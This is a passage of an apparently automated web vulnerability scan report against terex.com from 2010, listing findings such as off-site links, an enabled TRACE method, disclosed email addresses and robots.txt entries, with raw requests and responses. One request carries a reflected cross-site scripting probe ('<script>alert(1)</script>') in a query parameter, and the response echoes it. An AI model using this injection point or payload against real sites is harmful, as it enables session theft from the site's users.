<html>
<head>
<title>Terex Corporation - Products</title>
<!-- prod : : SPLASH -->
<meta http
...[SNIP]...
<td align="left">
<a href="http://www.shopterex.com">North and South America</a><br>
<a href="http://www.terex-construction-shop.com">International</a>
...[SNIP]...
|
4.2. http://www.terex.com/main.php
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The page was loaded from a URL containing a query string:- http://www.terex.com/main.php?obj=content&action=SITEMAP
The response contains the following links to other domains:- http://jobsearch.terex.newjobs.com/
- http://www.shopterex.com/
Request
GET /main.php?obj=content&action=SITEMAP HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/main.php?obj=support&action=SPLASH&nav=support&cancel_login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=6oefj2t89pf8obe095iig1br30; style=normal; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.9.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:54:18 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 20234
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- content : : SITEMAP -->
<meta http-equiv=
...[SNIP]...
<li><a href="http://www.shopterex.com/">Merchandise</a>
...[SNIP]...
<li><a href="http://jobsearch.terex.newjobs.com">Careers</a>
...[SNIP]...
|
4.3. http://www.terex.com/main.php
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The page was loaded from a URL containing a query string:- http://www.terex.com/main.php?obj=prosp&action=SUBMITd5810--><script>alert(1)</script>3e29e17e90c41c73c&id=NEW&src=HOME&email=user%40domain.com
The response contains the following links to other domains:- http://jobsearch.terex.newjobs.com/
- http://www.corporate-ir.net/ireye/ir_site.zhtml?ticker=tex&script=2100
Request
GET /main.php?obj=prosp&action=SUBMITd5810--><script>alert(1)</script>3e29e17e90c41c73c&id=NEW&src=HOME&email=user%40domain.com HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.terex.com
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:06:19 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: texsess=vk0u5bmcckaht99ivmitv52707; path=/
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 13232
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- prosp : NEW : SUBMITd5810--><script>alert(
...[SNIP]...
</span><a href="http://www.corporate-ir.net/ireye/ir_site.zhtml?ticker=tex&script=2100" target="_blank" class="utility">Investors</a>
...[SNIP]...
</span><a href="http://jobsearch.terex.newjobs.com/" target="_blank" class="utility">Careers</a>
...[SNIP]...
|
5. TRACE method is enabled
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/ |
Issue description
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
Request
TRACE / HTTP/1.0
Host: www.terex.com
Cookie: 5b8b2ba6f39e96ba
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:53:27 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
Connection: close
Content-Type: message/http
TRACE / HTTP/1.0
Host: www.terex.com
Cookie: 5b8b2ba6f39e96ba
|
6. Email addresses disclosed
previous
next
There are 2 instances of this issue:
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
6.1. http://www.terex.com/dealersearch/dealersearch2.php
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch2.php |
Issue detail
The following email address was disclosed in the response:
Request
GET /dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.5.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:53:52 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3992
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv
...[SNIP]...
<a href='mailto:info@terex.com'>info@terex.com</a>
...[SNIP]...
|
6.2. http://www.terex.com/main.php
previous
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The following email address was disclosed in the response:
Request
GET /main.php HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:52:30 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; path=/
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 26180
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Terex Corporation</title>
<!-- : : -->
<meta http-equiv=Content-Type c
...[SNIP]...
<input name="email" type="text" style="width: 90px; margin-top: 5px; padding: 0;" onFocus="MM_setTextOfTextfield('email','','')" value="user@domain.com" size="15" maxlength="100">
...[SNIP]...
|
7. Robots.txt file
previous
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/main.php |
Issue detail
The web server contains a robots.txt file.
Issue background
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0
Host: www.terex.com
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:53:28 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
Last-Modified: Wed, 29 Aug 2007 18:10:16 GMT
ETag: "1000000002b02-596-438da80788290"
Accept-Ranges: bytes
Content-Length: 1430
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8
User-agent: *
Disallow: /main.php?obj=prod&action=BRANDS
User-agent: Google
Disallow:
User-agent: msn
Disallow:
User-agent: Yahoo
Disallow:
User-agent: Teoma
Disallow:
User-a
...[SNIP]...
|
Report generated by XSS.CX at Tue Nov 09 12:44:40 CST 2010.